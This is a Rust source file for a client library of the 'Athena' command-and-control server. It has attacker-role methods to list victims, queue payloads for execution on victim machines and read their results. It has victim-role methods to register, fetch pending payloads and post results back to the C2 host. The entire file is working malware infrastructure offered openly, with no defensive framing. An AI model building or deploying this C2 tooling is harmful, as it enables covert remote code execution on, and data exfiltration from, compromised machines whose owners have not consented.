1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
/*
 * Copyright (C) 2021  Aravinth Manivannan <realaravinth@batsense.net>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Affero General Public License as
 * published by the Free Software Foundation, either version 3 of the
 * License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU Affero General Public License for more details.
 *
 * You should have received a copy of the GNU Affero General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
use std::error::Error;

use derive_more::{Display, Error};
use reqwest::StatusCode;
pub use reqwest::{Client, ClientBuilder};
use serde::{Deserialize, Serialize};
use url::Url;

pub mod payload;
pub mod routes;
pub use routes::V1_ROUTES;

use payload::attack::Password;
use payload::*;

#[derive(Clone, Default)]
/// Client builder
pub struct AthenaClientBuilder {
    client: Option<Client>,
    host: Option<String>,
    password: Option<Password>,
}

impl AthenaClientBuilder {
    /// Set password to access athena C2 server
    pub fn password(&mut self, password: String) -> &mut Self {
        self.password = Some(Password { password });
        self
    }

    /// Provide client configuration
    pub fn client(&mut self, client: ClientBuilder) -> AthenaResult<&mut Self> {
        let client = client.cookie_store(true).build()?;
        self.client = Some(client);
        Ok(self)
    }

    // Set athena C2 server host
    pub fn host(&mut self, host: String) -> &mut Self {
        if host.ends_with('/') {
            self.host = Some(host[0..host.len() - 1].to_owned())
        } else {
            self.host = Some(host);
        }
        self
    }

    // Build client
    pub fn build(&mut self) -> AthenaResult<AthenaClient> {
        Ok(AthenaClient {
            client: self.client.clone().unwrap(),
            password: self.password.clone().unwrap(),
            host: Url::parse(&self.host.clone().unwrap())?,
        })
    }
}

#[derive(Clone)]
/// AthenaClient contains methods that are useful to both attackers and victims
/// Methods applicable to the attacker role are prefixed with "attacker"
/// Methods applicable to the victim role are prefixed with "victim"
pub struct AthenaClient {
    client: Client,
    host: Url,
    password: Password,
}

impl AthenaClient {
    /// Attacker: Get list of all victims currently available on the C2 server
    pub async fn attack_list_victims(&self) -> AthenaResult<Vec<attack::Victim>> {
        let url = self.host.clone().join(V1_ROUTES.attack.list_victims)?;
        Ok(self
            .client
            .post(url)
            .json(&self.password)
            .send()
            .await?
            .json()
            .await?)
    }

    /// Attacker: Set payload that needs to be executed on a victim machine
    /// A unique payload ID is returned. This ID is required to access the
    /// payload's result
    pub async fn attack_set_payload(
        &self,
        payload: &attack::Payload,
    ) -> AthenaResult<attack::PayloadID> {
        let url = self.host.clone().join(V1_ROUTES.attack.set_payload)?;
        let resp = self.client.post(url).json(&payload).send().await?;
        if resp.status() == StatusCode::OK {
            Ok(resp.json().await?)
        } else {
            let err: ErrorToResponse = resp.json().await.unwrap();
            Err(Box::new(err))
        }
    }

    /// Attacker: Read result that was submitted by a victim machine.
    /// Results are mapped against the payload ID.
    pub async fn attack_read_response(
        &self,
        payload: &attack::PayloadID,
    ) -> AthenaResult<attack::PayloadResponse> {
        let payload = attack::ResponseReq {
            id: payload.id,
            password: self.get_password().to_owned(),
        };
        let url = self.host.clone().join(V1_ROUTES.attack.read_response)?;
        let resp = self.client.post(url).json(&payload).send().await?;
        if resp.status() == StatusCode::OK {
            Ok(resp.json().await?)
        } else {
            let err: ErrorToResponse = resp.json().await.unwrap();
            Err(Box::new(err))
        }
    }

    /// Attacker: Delete all victims from C2 server
    pub async fn attack_delete_all_victims(&self) -> AthenaResult<()> {
        let url = self.host.clone().join(V1_ROUTES.attack.delete_victims)?;
        let resp = self.client.post(url).send().await?;
        if resp.status() == StatusCode::OK {
            Ok(())
        } else {
            let err: ErrorToResponse = resp.json().await.unwrap();
            Err(Box::new(err))
        }
    }

    /// Attacker: Get configured password of the C2 server
    pub fn get_password(&self) -> &str {
        &self.password.password
    }

    /// Victim: Register victim on the C2 server
    pub async fn victim_register(&self) -> AthenaResult<()> {
        let url = self.host.clone().join(V1_ROUTES.victim.join)?;
        self.client.post(url).send().await?;
        Ok(())
    }

    /// Victim: Get all payloads that are yet to be executed on the victim machine.
    /// Yet to be executed = No response submitted yet.
    pub async fn victim_get_paylod(&self) -> AthenaResult<victim::PayloadCollection> {
        let url = self.host.clone().join(V1_ROUTES.victim.get_payload)?;
        //        Ok(self.client.post(url).send().await?.json().await?)
        let resp = self.client.post(url).send().await?;
        if resp.status() == StatusCode::OK {
            //println!("{:?}", resp.json::<serde_json::Value>().await.unwrap());
            //unimplemented!();
            Ok(resp.json().await.unwrap())
        } else {
            let err: ErrorToResponse = resp.json().await.unwrap();
            Err(Box::new(err))
        }
    }

    /// Victim: Submit payload's result
    pub async fn victim_set_payload_response(
        &self,
        payload: &victim::PayloadResult,
    ) -> AthenaResult<()> {
        let url = self.host.clone().join(V1_ROUTES.victim.payload_response)?;
        let resp = self.client.post(url).json(payload).send().await?;
        if resp.status() == StatusCode::OK {
            //println!("{:?}", resp.json::<serde_json::Value>().await.unwrap());
            //unimplemented!();
            Ok(())
        } else {
            let err: ErrorToResponse = resp.json().await.unwrap();
            Err(Box::new(err))
        }
    }
}

#[derive(Serialize, Error, Display, Debug, Deserialize)]
#[cfg(not(tarpaulin_include))]
/// Error value returned from the C2 server
pub struct ErrorToResponse {
    pub error: String,
}

/// Result datatype used in libathena
pub type AthenaResult<T> = Result<T, Box<dyn Error>>;